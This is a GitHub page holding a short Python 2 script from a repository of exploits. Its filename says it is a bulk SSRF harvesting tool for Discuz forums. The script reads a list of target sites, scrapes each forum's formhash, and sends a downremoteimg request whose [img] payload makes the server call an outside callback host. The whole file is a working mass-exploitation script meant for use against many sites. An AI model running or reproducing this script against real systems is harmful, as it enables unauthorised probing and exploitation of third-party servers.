forked from backlion/exp-for-python
-
Notifications
You must be signed in to change notification settings - Fork 0
/
dz论坛SSRF漏洞批量捡漏脚本.py
59 lines (27 loc) · 1.09 KB
/
dz论坛SSRF漏洞批量捡漏脚本.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# encoding: utf-8
#http://wooyun.org/bugs/wooyun-2016-0218421
import urlparse
import random
import time
import re
import requests
from utils.fileutils import FileUtils
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
for website in FileUtils.getLines('qqdz.lst'):
request = requests.session()
try:
forumurl = "{website}/forum.php".format(website=website)
response = request.get(forumurl, timeout=5, verify=False)
formhash = re.findall(r'formhash" value="(.*?)"',response.content)
netloc = urlparse.urlparse(website).netloc
payload = 'http://fuzz.wuyun.com/404.php?s={netloc}.jpg'.format(netloc=netloc)
url = "{website}/forum.php?mod=ajax&action=downremoteimg&formhash={formhash}&message=[img]{payload}[/img]".format(
website=website,
formhash=formhash[0] if formhash else '',
payload=payload)
response = request.get(url, timeout=5, verify=False)
print url, len(response.content)
except Exception, e:
print website, e